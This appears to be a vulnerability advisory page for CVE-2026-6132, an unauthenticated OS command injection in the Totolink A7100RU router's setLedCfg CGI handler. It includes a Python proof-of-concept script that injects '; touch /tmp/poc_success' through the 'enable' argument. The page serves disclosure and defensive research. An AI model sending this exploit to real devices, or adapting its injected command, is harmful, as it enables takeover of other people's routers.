Security Vulnerability Report
中文
CVE-2026-6132 CVSS 9.8 CRITICAL

CVE-2026-6132

Published: 2026-04-12 23:16:26
Last Modified: 2026-04-27 19:05:57

Description

A vulnerability was determined in Totolink A7100RU 7.4cu.2313_b20191024. Affected by this issue is the function setLedCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument enable causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Malicious payload to inject OS command # Example: enabling LED and then creating a file to prove execution payload = "; touch /tmp/poc_success" # Construct the data payload based on vulnerability analysis headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json" } data = { "function": "setLedCfg", "enable": payload } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[+] Exploit request sent successfully. Check device for command execution.") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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